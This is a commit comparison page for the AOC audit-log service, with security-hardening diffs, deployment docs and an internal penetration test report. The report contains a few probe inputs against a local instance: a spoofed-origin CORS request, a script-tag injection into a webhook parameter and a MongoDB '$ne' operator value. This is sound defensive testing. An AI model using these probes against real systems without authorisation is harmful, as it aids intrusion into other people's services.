Compare commits

...

14 Commits

Author SHA1 Message Date
tomas.kracmar 7639f5f69d Release v1.7.18: fix Alpine.js SRI + CSP, add frontend modernization roadmap
Release / build-and-push (push) Successful in 1m23s
CI / lint-and-test (push) Successful in 1m22s
- Revert @alpinejs/csp (CSP build has no support for template literals,
  optional chaining, or x-html — all used in the app template); switch
  back to the regular alpinejs build
- Pin Alpine.js to 3.15.12 with a verified SRI hash (replaces the
  floating @3.x.x tag that caused the integrity check failure)
- Restore 'unsafe-eval' to script-src (required by Alpine.js's
  new Function() expression evaluator; inline script was already
  eliminated in v1.7.17 so 'unsafe-inline' stays removed)
- Add Phase 7.5 Frontend Modernization to ROADMAP: Vue 3 + Vite
  migration plan that will allow a clean CSP without unsafe-eval

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-29 08:01:57 +02:00
tomas.kracmar 79647d8962 Release v1.7.17: Alpine.js CSP build, O365 API window clamping
Release / build-and-push (push) Successful in 1m49s
CI / lint-and-test (push) Successful in 2m6s
2026-05-29 06:44:36 +02:00
tomas.kracmar ad5816dc2d Release v1.7.16: CI workflow fix for Gitea Actions, repository cleanup
CI / lint-and-test (push) Successful in 1m54s
Release / build-and-push (push) Successful in 2m4s
2026-05-28 16:07:25 +02:00
tomas.kracmar 53724c1671 Fix CI: use venv to avoid PEP 668 externally-managed-environment error
CI / lint-and-test (push) Successful in 1m21s
2026-05-28 15:38:55 +02:00
tomas.kracmar 401d4e2717 Fix CI: use system python3 + apt-get instead of actions/setup-python
CI / lint-and-test (push) Failing after 25s
2026-05-28 15:24:33 +02:00
tomas.kracmar eea54dd203 Fix CI: override working-directory for pre-checkout apt-get step
CI / lint-and-test (push) Failing after 1m14s
2026-05-28 15:19:23 +02:00
tomas.kracmar da0f082b45 Clean up: remove working files, expand .gitignore for venvs, caches, temp files
CI / lint-and-test (push) Failing after 11s
2026-05-28 15:18:10 +02:00
tomas.kracmar 5e6997cbd6 Fix Gitea Actions CI: use python:3.11-slim container instead of actions/setup-python
CI / lint-and-test (push) Failing after 21s
2026-05-28 15:02:34 +02:00
tomas.kracmar 85db9d14a8 Add v1.7.15 release notes
CI / lint-and-test (push) Failing after 52s
2026-05-28 14:57:53 +02:00
tomas.kracmar f7fca05210 Release v1.7.15: security hardening, async auth, CSP tightening, model validation, SSRF guard, rate limiting improvements, frontend extraction, Docker compose security
Release / build-and-push (push) Successful in 3m12s
2026-05-28 14:57:09 +02:00
tomas.kracmar fe95dfcfce docs: update AGENTS.md, README.md, DEPLOY.md, ROADMAP.md for v1.7.14 security features
Release / build-and-push (push) Successful in 21s
CI / lint-and-test (push) Successful in 25s
2026-04-27 16:52:35 +02:00
tomas.kracmar 8d951fc335 v1.7.14: LLM/SIEM domain allowlists, SRI hashes, auth misconfig warning, Azure Key Vault integration
CI / lint-and-test (push) Successful in 22s
Release / build-and-push (push) Successful in 1m7s
2026-04-27 16:45:06 +02:00
tomas.kracmar 35eca65234 v1.7.13: switch Alpine.js to CSP build, remove unsafe-eval from CSP
Release / build-and-push (push) Successful in 40s
CI / lint-and-test (push) Successful in 33s
2026-04-27 16:08:34 +02:00
tomas.kracmar 07a841615b v1.7.12: security hardening — CORS fix, security headers, fail-closed rate limiter, OpenAPI docs disabled by default, config auth privacy, webhook validation
Release / build-and-push (push) Successful in 44s
CI / lint-and-test (push) Successful in 22s
2026-04-27 14:19:28 +02:00
40 changed files with 2279 additions and 921 deletions
+12
View File
@@ -27,6 +27,18 @@ RETENTION_DAYS=0
# Optional: comma-separated CORS origins (e.g., http://localhost:3000,https://app.example.com) # Optional: comma-separated CORS origins (e.g., http://localhost:3000,https://app.example.com)
CORS_ORIGINS=* CORS_ORIGINS=*
# OpenAPI docs exposure (set true only for dev)
DOCS_ENABLED=false
# LLM endpoint domain restriction (comma-separated, supports wildcards like *.openai.azure.com)
# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
# SIEM webhook domain restriction (comma-separated)
# SIEM_ALLOWED_DOMAINS=your-siem.com
# Optional Azure Key Vault for secrets storage
# AZURE_KEY_VAULT_NAME=your-keyvault-name
# Optional: SIEM export webhook (e.g., Splunk HEC, Sentinel, or generic syslog webhook) # Optional: SIEM export webhook (e.g., Splunk HEC, Sentinel, or generic syslog webhook)
SIEM_ENABLED=false SIEM_ENABLED=false
SIEM_WEBHOOK_URL= SIEM_WEBHOOK_URL=
+15 -7
View File
@@ -17,21 +17,29 @@ jobs:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- name: Set up Python - name: Set up Python
uses: actions/setup-python@v5 run: |
with: apt-get update && apt-get install -y python3 python3-venv || true
python-version: "3.11" python3 --version
- name: Install dependencies - name: Install dependencies
run: | run: |
python -m pip install --upgrade pip python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt pip install -r requirements.txt
pip install -r requirements-dev.txt pip install -r requirements-dev.txt
- name: Lint with ruff - name: Lint with ruff
run: ruff check . run: |
source .venv/bin/activate
ruff check .
- name: Format check with ruff - name: Format check with ruff
run: ruff format --check . run: |
source .venv/bin/activate
ruff format --check .
- name: Run tests - name: Run tests
run: pytest -q run: |
source .venv/bin/activate
pytest -q
+11
View File
@@ -2,11 +2,22 @@
.DS_Store .DS_Store
__pycache__/ __pycache__/
*.py[cod] *.py[cod]
*.pyo
.venv/ .venv/
venv/ venv/
.*venv*/
.pytest_cache/ .pytest_cache/
.mypy_cache/ .mypy_cache/
.ruff_cache/
.coverage* .coverage*
coverage.xml coverage.xml
.vscode/ .vscode/
.idea/ .idea/
memory/
*.log
*.tmp
*.swp
*.swo
*.bak
*.orig
*.rej
+55 -6
View File
@@ -9,20 +9,24 @@ AOC is a FastAPI microservice that ingests Microsoft Entra (Azure AD) audit logs
- **Runtime**: Python 3.11 (3.14 for tests) - **Runtime**: Python 3.11 (3.14 for tests)
- **Web Framework**: FastAPI + Uvicorn (Gunicorn in production) - **Web Framework**: FastAPI + Uvicorn (Gunicorn in production)
- **Database**: MongoDB (PyMongo) - **Database**: MongoDB (PyMongo)
- **Cache/Queue**: Valkey/Redis 8 (caching + arq async job queue)
- **Frontend**: Alpine.js + HTML/CSS (served as static files from `backend/frontend/`) - **Frontend**: Alpine.js + HTML/CSS (served as static files from `backend/frontend/`)
- **Authentication**: Optional OIDC Bearer token validation against Microsoft Entra (using `python-jose` and MSAL.js on the frontend) - **Authentication**: Optional OIDC Bearer token validation against Microsoft Entra (using `python-jose` and MSAL.js on the frontend)
- **External APIs**: Microsoft Graph API, Office 365 Management Activity API, Azure OpenAI / MS Foundry - **External APIs**: Microsoft Graph API, Office 365 Management Activity API, Azure OpenAI / MS Foundry
- **Deployment**: Docker Compose (dev), Docker Compose + nginx (prod) - **Deployment**: Docker Compose (dev), Docker Compose + nginx (prod)
- **CI/CD**: Gitea Actions (lint + test + Docker build + release) - **CI/CD**: Gitea Actions (lint + test + Docker build + release)
- **Secrets Storage**: Environment variables (`.env`) or optional Azure Key Vault
## Project Structure ## Project Structure
``` ```
backend/ backend/
main.py # FastAPI app, router registration, background periodic fetch main.py # FastAPI app, router registration, background periodic fetch
config.py # Pydantic Settings configuration (loads .env) config.py # Pydantic Settings configuration (loads .env + optional Key Vault)
database.py # MongoClient setup (db = micro_soc, collection = events) database.py # MongoClient setup (db = micro_soc, collection = events)
auth.py # OIDC Bearer token validation, JWKS caching, role/group checks auth.py # OIDC Bearer token validation, JWKS caching, role/group checks
secrets_manager.py # Optional Azure Key Vault integration for secrets
rate_limiter.py # Redis-backed fixed-window rate limiter (fail-closed)
requirements.txt # Python dependencies requirements.txt # Python dependencies
Dockerfile # python:3.11-slim image, non-root user, version baked at build Dockerfile # python:3.11-slim image, non-root user, version baked at build
mcp_server.py # Standalone MCP server for Claude Desktop / Cursor integration mcp_server.py # Standalone MCP server for Claude Desktop / Cursor integration
@@ -34,6 +38,9 @@ backend/
health.py # GET /health, GET /metrics health.py # GET /health, GET /metrics
rules.py # Rule-based alerting endpoints rules.py # Rule-based alerting endpoints
webhooks.py # Microsoft Graph change notification webhooks webhooks.py # Microsoft Graph change notification webhooks
alerts.py # Alert management endpoints
saved_searches.py # Saved filter presets
jobs.py # Async job status polling
graph/ graph/
auth.py # Client credentials token acquisition for Graph auth.py # Client credentials token acquisition for Graph
audit_logs.py # Fetch and enrich directory audit logs from Graph audit_logs.py # Fetch and enrich directory audit logs from Graph
@@ -59,16 +66,42 @@ Copy `.env.example` to `.env` at the repo root and fill in values:
cp .env.example .env cp .env.example .env
``` ```
Key variables: ### Core variables
- `TENANT_ID`, `CLIENT_ID`, `CLIENT_SECRET` — Microsoft app registration credentials (application permissions) - `TENANT_ID`, `CLIENT_ID`, `CLIENT_SECRET` — Microsoft app registration credentials (application permissions)
- `AUTH_ENABLED` — set `true` to protect API/UI with OIDC Bearer tokens - `AUTH_ENABLED` — set `true` to protect API/UI with OIDC Bearer tokens
- `AUTH_TENANT_ID`, `AUTH_CLIENT_ID` — token validation audience/issuer - `AUTH_TENANT_ID`, `AUTH_CLIENT_ID` — token validation audience/issuer
- `AUTH_ALLOWED_ROLES`, `AUTH_ALLOWED_GROUPS` — comma-separated access control lists - `AUTH_ALLOWED_ROLES`, `AUTH_ALLOWED_GROUPS` — comma-separated access control lists
- `ENABLE_PERIODIC_FETCH`, `FETCH_INTERVAL_MINUTES` — background ingestion scheduler - `ENABLE_PERIODIC_FETCH`, `FETCH_INTERVAL_MINUTES` — background ingestion scheduler
- `MONGO_ROOT_USERNAME`, `MONGO_ROOT_PASSWORD`, `MONGO_PORT` — used by Docker Compose for MongoDB - `MONGO_ROOT_USERNAME`, `MONGO_ROOT_PASSWORD`, `MONGO_PORT` — used by Docker Compose for MongoDB
### AI / LLM variables
- `AI_FEATURES_ENABLED` — set `false` to completely disable AI endpoints and UI (default `true`) - `AI_FEATURES_ENABLED` — set `false` to completely disable AI endpoints and UI (default `true`)
- `LLM_API_KEY`, `LLM_BASE_URL`, `LLM_MODEL`, `LLM_MAX_EVENTS`, `LLM_TIMEOUT_SECONDS` — LLM provider settings - `LLM_API_KEY`, `LLM_BASE_URL`, `LLM_MODEL`, `LLM_MAX_EVENTS`, `LLM_TIMEOUT_SECONDS` — LLM provider settings
- `LLM_API_VERSION` — required for Azure OpenAI / MS Foundry endpoints - `LLM_API_VERSION` — required for Azure OpenAI / MS Foundry endpoints
- `LLM_ALLOWED_DOMAINS` — comma-separated domain allowlist for LLM endpoints (e.g. `api.openai.com,*.openai.azure.com`)
### Security variables
- `CORS_ORIGINS` — comma-separated allowed origins (default `*`; set explicit origins in production)
- `DOCS_ENABLED` — set `true` to expose `/docs`, `/redoc`, `/openapi.json` (default `false`)
- `METRICS_ALLOWED_IPS` — comma-separated CIDRs allowed to access `/metrics` (default: private networks + loopback)
- `WEBHOOK_CLIENT_SECRET` — secret for validating Graph webhook `clientState`
- `SIEM_ENABLED`, `SIEM_WEBHOOK_URL` — optional SIEM forwarding
- `SIEM_ALLOWED_DOMAINS` — comma-separated domain allowlist for SIEM webhook URLs
- `RATE_LIMIT_ENABLED`, `RATE_LIMIT_REQUESTS`, `RATE_LIMIT_WINDOW_SECONDS` — Redis-backed rate limiting
### Optional Azure Key Vault
- `AZURE_KEY_VAULT_NAME` — name of the Azure Key Vault to load secrets from
- When set, AOC fetches these secrets at startup:
- `aoc-client-secret``CLIENT_SECRET`
- `aoc-llm-api-key``LLM_API_KEY`
- `aoc-mongo-uri``MONGO_URI`
- `aoc-webhook-client-secret``WEBHOOK_CLIENT_SECRET`
- Requires `azure-identity` and `azure-keyvault-secrets` (uncomment in `requirements.txt`)
### Privacy / access control
- `PRIVACY_SERVICES` — comma-separated services to hide from non-privileged users (e.g. `Exchange,Teams`)
- `PRIVACY_SENSITIVE_OPERATIONS` — comma-separated operations to gate
- `PRIVACY_SERVICE_ROLES` — comma-separated Entra roles that grant access to privacy data
## Build and Run Commands ## Build and Run Commands
@@ -102,7 +135,9 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
- `GET /api/config/features` — feature flags (`ai_features_enabled`) - `GET /api/config/features` — feature flags (`ai_features_enabled`)
- `POST /api/ask` — natural language query; returns LLM narrative + referenced events (only when `AI_FEATURES_ENABLED=true`) - `POST /api/ask` — natural language query; returns LLM narrative + referenced events (only when `AI_FEATURES_ENABLED=true`)
- `GET /health` — liveness probe with DB connectivity - `GET /health` — liveness probe with DB connectivity
- `GET /metrics` — Prometheus metrics - `GET /metrics` — Prometheus metrics (IP-restricted by default)
- `GET /api/source-health` — last fetch status per ingestion source
- `GET /api/version` — running version
## MCP Server ## MCP Server
@@ -162,16 +197,30 @@ When adding new features or bug fixes, add or update tests in `backend/tests/`.
- Auth middleware and token validation - Auth middleware and token validation
- API endpoints (`/api/events`, `/api/fetch-audit-logs`, `/api/ask`) - API endpoints (`/api/events`, `/api/fetch-audit-logs`, `/api/ask`)
- NLQ time range extraction, entity extraction, query building - NLQ time range extraction, entity extraction, query building
- Rate limiting behavior
## Security Considerations ## Security Considerations
- **Secrets**: `CLIENT_SECRET`, `LLM_API_KEY`, and other credentials come from `.env`. Never commit `.env`. - **Secrets**: `CLIENT_SECRET`, `LLM_API_KEY`, and other credentials come from `.env` or Azure Key Vault. Never commit `.env`.
- **Auth validation**: When `AUTH_ENABLED=true`, the backend fetches JWKS from `https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration`, caches keys for 1 hour, and validates tenant/issuer claims. Tokens are decoded without strict signature verification (`jwt.get_unverified_claims`), so the tenant and issuer checks are the primary gate. - **Auth validation**: When `AUTH_ENABLED=true`, the backend fetches JWKS from `https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration`, caches keys for 1 hour, and validates tenant/issuer/audience claims. Tokens are decoded with RS256 signature verification.
- **Role/Group gating**: Access is allowed if the tokens `roles` intersect `AUTH_ALLOWED_ROLES` or `groups` intersect `AUTH_ALLOWED_GROUPS`. If neither list is configured, all authenticated users are allowed. - **Role/Group gating**: Access is allowed if the token's `roles` intersect `AUTH_ALLOWED_ROLES` or `groups` intersect `AUTH_ALLOWED_GROUPS`. If neither list is configured, all authenticated users are allowed — a startup warning is logged in this case.
- **CORS**: When `AUTH_ENABLED=true` and `CORS_ORIGINS="*"`, `allow_credentials` is forced to `false` to prevent cross-origin token leakage.
- **Rate limiting**: Redis-backed fixed-window rate limiting with per-category limits (fetch=10/hr, ask=30/min, write=20/min, default=120/min). Fails closed (returns 429) when Redis is unavailable.
- **Pagination limits**: `page_size` is clamped to a maximum of 500 to prevent large queries. - **Pagination limits**: `page_size` is clamped to a maximum of 500 to prevent large queries.
- **Fetch window cap**: `hours` is clamped to 720 (30 days) to avoid runaway API calls. - **Fetch window cap**: `hours` is clamped to 720 (30 days) to avoid runaway API calls.
- **LLM SSRF guard**: `LLM_BASE_URL` must be HTTPS and cannot point to private IPs. Optional `LLM_ALLOWED_DOMAINS` restricts to specific domains.
- **SIEM SSRF guard**: `SIEM_WEBHOOK_URL` has the same validation as LLM URLs, plus optional `SIEM_ALLOWED_DOMAINS`.
- **Metrics IP gating**: `/metrics` is restricted to private/loopback IPs by default via `METRICS_ALLOWED_IPS`.
- **OpenAPI docs**: Disabled by default (`DOCS_ENABLED=false`). Enable only in development.
- **CSP**: Content-Security-Policy headers are set on all responses. `unsafe-eval` is required for Alpine.js v3 expression evaluation.
- **SRI**: CDN scripts (Alpine.js, MSAL.js) include Subresource Integrity hashes to prevent supply chain compromise.
- **MCP server**: The MCP server bypasses auth entirely. Only run it in trusted environments or behind a VPN. - **MCP server**: The MCP server bypasses auth entirely. Only run it in trusted environments or behind a VPN.
### Security Documentation
- `PEN_TEST_REPORT_v1.7.11.md` — Internal soft penetration test findings and remediation
- `THREAT_MODEL_v1.7.13.md` — Comprehensive threat model covering Entra/token abuse vectors
## Maintenance and Operations ## Maintenance and Operations
The `backend/maintenance.py` script provides two CLI commands useful for backfilling or correcting stored data: The `backend/maintenance.py` script provides two CLI commands useful for backfilling or correcting stored data:
+48 -6
View File
@@ -7,6 +7,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
- **nginx** — reverse proxy, TLS termination, static file serving - **nginx** — reverse proxy, TLS termination, static file serving
- **backend** — FastAPI application (Gunicorn + Uvicorn workers) - **backend** — FastAPI application (Gunicorn + Uvicorn workers)
- **mongo** — MongoDB data store (not exposed externally) - **mongo** — MongoDB data store (not exposed externally)
- **valkey** — Redis-compatible cache and async job queue (not exposed externally)
## Prerequisites ## Prerequisites
@@ -20,7 +21,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
1. **Clone / pull the latest release** 1. **Clone / pull the latest release**
```bash ```bash
git checkout v1.1.0 git checkout v1.7.14
``` ```
2. **Copy and edit environment variables** 2. **Copy and edit environment variables**
@@ -33,7 +34,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
3. **Set the release version** 3. **Set the release version**
```bash ```bash
export AOC_VERSION=v1.1.0 export AOC_VERSION=v1.7.14
``` ```
4. **Deploy** 4. **Deploy**
@@ -53,7 +54,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
## Updating to a new release ## Updating to a new release
```bash ```bash
export AOC_VERSION=v1.2.0 export AOC_VERSION=v1.7.14
docker compose -f docker-compose.prod.yml pull docker compose -f docker-compose.prod.yml pull
docker compose -f docker-compose.prod.yml up -d docker compose -f docker-compose.prod.yml up -d
``` ```
@@ -75,24 +76,56 @@ docker compose -f docker-compose.prod.yml up -d
Replace the `nginx` service in `docker-compose.prod.yml` with a Certbot-friendly setup (e.g., use the `nginx-proxy` + `acme-companion` stack) or mount the Certbot certificates into `nginx/ssl/`. Replace the `nginx` service in `docker-compose.prod.yml` with a Certbot-friendly setup (e.g., use the `nginx-proxy` + `acme-companion` stack) or mount the Certbot certificates into `nginx/ssl/`.
## Security hardening ## Security Hardening
- MongoDB is **not exposed** to the host — only the backend container can reach it. - MongoDB is **not exposed** to the host — only the backend container can reach it.
- Valkey/Redis is **not exposed** to the host — only the backend container can reach it.
- The backend runs as a non-root (`aoc`) user inside the container. - The backend runs as a non-root (`aoc`) user inside the container.
- nginx adds security headers (`X-Frame-Options`, `X-Content-Type-Options`, etc.). - nginx adds security headers (`X-Frame-Options`, `X-Content-Type-Options`, etc.).
- Keep `.env` out of version control — it is listed in `.gitignore`. - Keep `.env` out of version control — it is listed in `.gitignore`.
- Set `AUTH_ENABLED=true` and configure `AUTH_ALLOWED_ROLES` or `AUTH_ALLOWED_GROUPS` to restrict access to admin/security roles.
- Set explicit `CORS_ORIGINS` — do not use `*` in production when auth is enabled.
- Set `DOCS_ENABLED=false` to hide OpenAPI docs (`/docs`, `/openapi.json`).
- Configure `WEBHOOK_CLIENT_SECRET` to validate Graph webhook notifications.
- Set `LLM_ALLOWED_DOMAINS` if using AI features (e.g. `api.openai.com,*.openai.azure.com`).
- Set `SIEM_ALLOWED_DOMAINS` if using SIEM forwarding.
- Review `METRICS_ALLOWED_IPS` — defaults to private networks + loopback.
## Azure Key Vault (Optional)
To eliminate long-lived secrets from `.env`:
1. Create an Azure Key Vault and add these secrets:
- `aoc-client-secret` — your Graph app `CLIENT_SECRET`
- `aoc-llm-api-key` — your `LLM_API_KEY` (if using AI)
- `aoc-mongo-uri` — your `MONGO_URI`
- `aoc-webhook-client-secret` — your `WEBHOOK_CLIENT_SECRET`
2. Uncomment `azure-identity` and `azure-keyvault-secrets` in `backend/requirements.txt`
3. Set `AZURE_KEY_VAULT_NAME=your-keyvault-name` in `.env`
4. Grant the container identity `Get` permission on secrets:
- If using Azure Container Instances / AKS: assign a managed identity
- If using VM: assign a managed identity or use a service principal
- If using local Docker: authenticate via `az login` on the host
5. Rebuild and redeploy:
```bash
docker compose -f docker-compose.prod.yml up -d --build
```
## Rollback ## Rollback
```bash ```bash
export AOC_VERSION=v1.0.3 export AOC_VERSION=v1.7.13
docker compose -f docker-compose.prod.yml pull docker compose -f docker-compose.prod.yml pull
docker compose -f docker-compose.prod.yml up -d docker compose -f docker-compose.prod.yml up -d
``` ```
## Monitoring ## Monitoring
- Prometheus metrics: `http://your-host/metrics` - Prometheus metrics: `http://your-host/metrics` (IP-restricted by default)
- Health check: `http://your-host/health` - Health check: `http://your-host/health`
- Container logs: - Container logs:
@@ -100,4 +133,13 @@ docker compose -f docker-compose.prod.yml up -d
docker compose -f docker-compose.prod.yml logs -f backend docker compose -f docker-compose.prod.yml logs -f backend
docker compose -f docker-compose.prod.yml logs -f nginx docker compose -f docker-compose.prod.yml logs -f nginx
docker compose -f docker-compose.prod.yml logs -f mongo docker compose -f docker-compose.prod.yml logs -f mongo
docker compose -f docker-compose.prod.yml logs -f valkey
``` ```
## Troubleshooting
- **Auth warning in logs**: "AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured" — set these to restrict access.
- **CORS issues**: Set `CORS_ORIGINS` to your exact frontend origin(s). Wildcard with auth enabled disables credentials.
- **Rate limiting 429s**: Check Redis/Valkey connectivity. The rate limiter fails closed (returns 429) when Redis is down.
- **LLM errors**: Verify `LLM_BASE_URL` is in `LLM_ALLOWED_DOMAINS` if the allowlist is configured.
- **SIEM not forwarding**: Verify `SIEM_WEBHOOK_URL` uses HTTPS and is in `SIEM_ALLOWED_DOMAINS`.
+203
View File
@@ -0,0 +1,203 @@
# AOC v1.7.11 Soft Penetration Test Report
**Date:** 2026-04-27
**Target:** Local AOC instance (port 8001), auth disabled, AI disabled
**Tester:** Automated + manual curl-based probing
**Scope:** FastAPI backend, REST API endpoints, middleware, headers
---
## Executive Summary
AOC v1.7.11 has one **CRITICAL** vulnerability (CORS credentials leak) and several defense-in-depth gaps. The good news: input validation, NoSQL injection resistance, and error handling are solid. The bad news: CORS is dangerously permissive, security headers are missing, and the rate limiter fails open on Redis failure.
| Severity | Count | Categories |
|----------|-------|------------|
| CRITICAL | 1 | CORS with credentials |
| HIGH | 1 | Missing security headers |
| MEDIUM | 2 | Fail-open rate limiter, OpenAPI exposure |
| LOW | 2 | Information disclosure, webhook content injection |
| INFO | 3 | Positive findings (no stack traces, input validation, NoSQL resistance) |
---
## CRITICAL
### 1. CORS Reflects Any Origin with `allow_credentials=true`
**Finding:** The CORS middleware returns `Access-Control-Allow-Origin: <any origin>` AND `Access-Control-Allow-Credentials: true` for every origin that sends an `Origin` header.
**Evidence:**
```bash
curl -H "Origin: https://evil-attacker.com" http://localhost:8001/api/config/auth
# Response headers:
# access-control-allow-origin: https://evil-attacker.com
# access-control-allow-credentials: true
```
**Impact:** An attacker can host a malicious page on any domain and make authenticated cross-origin requests to the AOC API using the victim's browser cookies/tokens. This effectively bypasses Same-Origin Policy for authenticated actions.
**Root Cause:** `main.py` configures CORS with `allow_origins=["*"]` (from `CORS_ORIGINS` env var, default `"*"`) AND `allow_credentials=True`. According to CORS spec, a wildcard origin with credentials is technically invalid, but Starlette/FastAPI appears to reflect the request origin instead.
**Recommendation:**
- When `AUTH_ENABLED=true`, reject requests from origins not in an explicit allowlist.
- Set `allow_credentials=False` if wildcard origins are needed.
- Or, require `CORS_ORIGINS` to be explicitly configured (no default wildcard) when auth is enabled.
---
## HIGH
### 2. Missing Security Headers
**Finding:** The following security headers are absent from all responses:
| Header | Purpose | Status |
|--------|---------|--------|
| `X-Content-Type-Options: nosniff` | Prevents MIME sniffing | MISSING |
| `X-Frame-Options: DENY` or `SAMEORIGIN` | Clickjacking protection | MISSING |
| `Strict-Transport-Security` | HSTS enforcement | MISSING |
| `Referrer-Policy: strict-origin-when-cross-origin` | Limits referrer leakage | MISSING |
| `Permissions-Policy` | Restricts browser features | MISSING |
**Impact:** Increased attack surface for clickjacking, MIME confusion attacks, and information leakage via referrer headers.
**Recommendation:** Add a security headers middleware to set these on all responses. HSTS only when served over HTTPS.
---
## MEDIUM
### 3. Rate Limiter Fails Open on Redis Failure
**Finding:** In `rate_limiter.py` line 81-82:
```python
except Exception as exc:
logger.warning("Rate limiter Redis error; allowing request", error=str(exc))
```
If Redis becomes unreachable, all rate limits are silently bypassed.
**Evidence:** When Redis was down, 150+ requests to `/api/events` all returned 200 with no 429s.
**Impact:** A DoS on Redis (or a network partition) removes all rate limiting, allowing unlimited API abuse.
**Recommendation:** Make the rate limiter fail-closed: return 429 or 503 when Redis is unavailable, or use an in-memory fallback with a conservative limit.
### 4. OpenAPI Schema Publicly Exposed
**Finding:** `/docs`, `/redoc`, and `/openapi.json` are accessible without authentication and return the full API schema.
**Evidence:**
```bash
curl -s http://localhost:8001/openapi.json | jq '.paths | keys'
# Returns all 15+ API paths including internal endpoints
```
**Impact:** Attackers get a complete map of the API, including request/response schemas, parameter types, and endpoint structure. This significantly reduces reconnaissance time.
**Recommendation:** Disable OpenAPI docs in production (`docs_url=None, redoc_url=None, openapi_url=None`) or gate them behind admin authentication.
---
## LOW
### 5. Information Disclosure via `/api/config/auth` and `/metrics`
**Finding:**
- `/api/config/auth` leaks `tenant_id` and `client_id` even when auth is disabled. These values fall back to the Graph API credentials (`TENANT_ID`/`CLIENT_ID`), which may be sensitive.
- `/metrics` exposes Python version (`3.14.3`), GC statistics, and application-internal metric names.
**Evidence:**
```json
{
"auth_enabled": false,
"tenant_id": "0ec9f34c-17c8-4541-b084-7d64ecdcc997",
"client_id": "cc31fd45-1eca-431f-a2c6-ba81cd4c5d50"
}
```
**Impact:** Low direct impact (tenant/client IDs are not secrets), but aids reconnaissance and narrows the attack surface.
**Recommendation:**
- Return empty strings for `tenant_id`/`client_id` when `auth_enabled=false`.
- Gate `/metrics` behind IP allowlist or admin auth (standard Prometheus practice).
### 6. Webhook Validation Token Echoed Without Sanitization
**Finding:** The `/api/webhooks/graph` endpoint echoes `validationToken` query parameter as `text/plain` without any sanitization or length limits.
**Evidence:**
```bash
curl -X POST "http://localhost:8001/api/webhooks/graph?validationToken=<script>alert(1)</script>"
# Returns: <script>alert(1)</script> with Content-Type: text/plain
```
**Impact:** Low in the intended Microsoft Graph flow (token is Microsoft-generated), but if the endpoint is hit directly, an attacker could use this for cache poisoning, response splitting, or social engineering by making the endpoint return attacker-controlled content.
**Recommendation:** Validate the validationToken format (e.g., JWT-like structure, length limits) before echoing, or set `Content-Type: text/plain; charset=utf-8` with `X-Content-Type-Options: nosniff` to reduce MIME confusion risk.
---
## INFO (Positive Findings)
### A. No Stack Traces in Error Responses
All errors (422, 404, 429, 500 if triggered) return generic JSON messages without internal details or stack traces. Good.
### B. Pydantic Input Validation is Effective
- `page_size` capped at 500 (returns 422 for 501, 0, -1)
- `hours` capped at 720 (returns 422 for 721)
- Invalid cursors return 400 with "Invalid cursor"
- Malformed JSON bodies return 422 with field-level validation errors
- `AlertCondition` op field strictly validated against `Literal["eq", "neq", "contains", "in", "after_hours"]`
### C. NoSQL Injection Resistant
MongoDB operators passed as string filter values are treated as literals, not operators:
```bash
curl "http://localhost:8001/api/events?operation=\$ne"
# Returns 0 results (treated as literal string "$ne")
```
The `_build_query()` function in `events.py` uses `re.escape()` for search input and constructs queries safely.
### D. Bulk Tags Pre-Count Check Works
`bulk_tags` endpoint capped at 10,000 matched documents via pre-count check. 93 events were successfully tagged with no bypass.
### E. Rate Limiting Works When Redis is Healthy
- `/api/fetch-audit-logs`: 429 after 11 requests (limit: 10/hr)
- `/api/events`: 429 after ~120 requests (limit: 120/min)
- Exempt paths work correctly: `/health`, `/metrics`, `/api/config/auth`, `/api/config/features`
- `Retry-After` header is returned on 429 responses
---
## Recommendations Summary
| Priority | Action | Effort |
|----------|--------|--------|
| P0 | Fix CORS: do not allow credentials with wildcard/reflected origins | Small |
| P1 | Add security headers middleware (X-Content-Type-Options, X-Frame-Options, HSTS, Referrer-Policy) | Small |
| P2 | Make rate limiter fail-closed on Redis errors | Small |
| P2 | Disable OpenAPI docs in production or gate behind auth | Small |
| P3 | Sanitize or validate webhook validationToken before echo | Small |
| P3 | Gate `/metrics` behind IP allowlist | Small |
| P3 | Hide tenant_id/client_id from `/api/config/auth` when auth is disabled | Tiny |
| P4 | Consider Alpine.js CSP build to remove `unsafe-eval` from script-src | Medium |
---
## Test Environment
```
Backend: uvicorn on localhost:8001 (auth=false, ai=false)
MongoDB: docker container, port 27018
Redis: docker container, port 6380
```
*Test commands and raw outputs available in `/tmp/pen_test*.sh` scripts.*
+45 -4
View File
@@ -11,13 +11,14 @@ FastAPI microservice that ingests Microsoft Entra (Azure AD) and other admin aud
- Optional OIDC bearer auth (Entra) to protect the API/UI and gate access by roles/groups. - Optional OIDC bearer auth (Entra) to protect the API/UI and gate access by roles/groups.
- Natural language query (`/api/ask`) powered by LLM (OpenAI, Azure OpenAI, or any compatible API). - Natural language query (`/api/ask`) powered by LLM (OpenAI, Azure OpenAI, or any compatible API).
- MCP server for Claude Desktop / Cursor integration. - MCP server for Claude Desktop / Cursor integration.
- Optional Azure Key Vault integration for secrets storage.
## Prerequisites (macOS) ## Prerequisites (macOS)
- Python 3.11 - Python 3.11
- Docker Desktop (for the quickest start) or a local MongoDB instance - Docker Desktop (for the quickest start) or a local MongoDB instance
- An Entra app registration with **Application** permission `AuditLog.Read.All` and admin consent granted - An Entra app registration with **Application** permission `AuditLog.Read.All` and admin consent granted
- Also required to fetch other sources: - Also required to fetch other sources:
- `https://manage.office.com/.default` (Audit API) with `ActivityFeed.Read`/`ActivityFeed.ReadDlp` (built into the app registrations API permissions for Office 365 Management APIs) - `https://manage.office.com/.default` (Audit API) with `ActivityFeed.Read`/`ActivityFeed.ReadDlp` (built into the app registration's API permissions for Office 365 Management APIs)
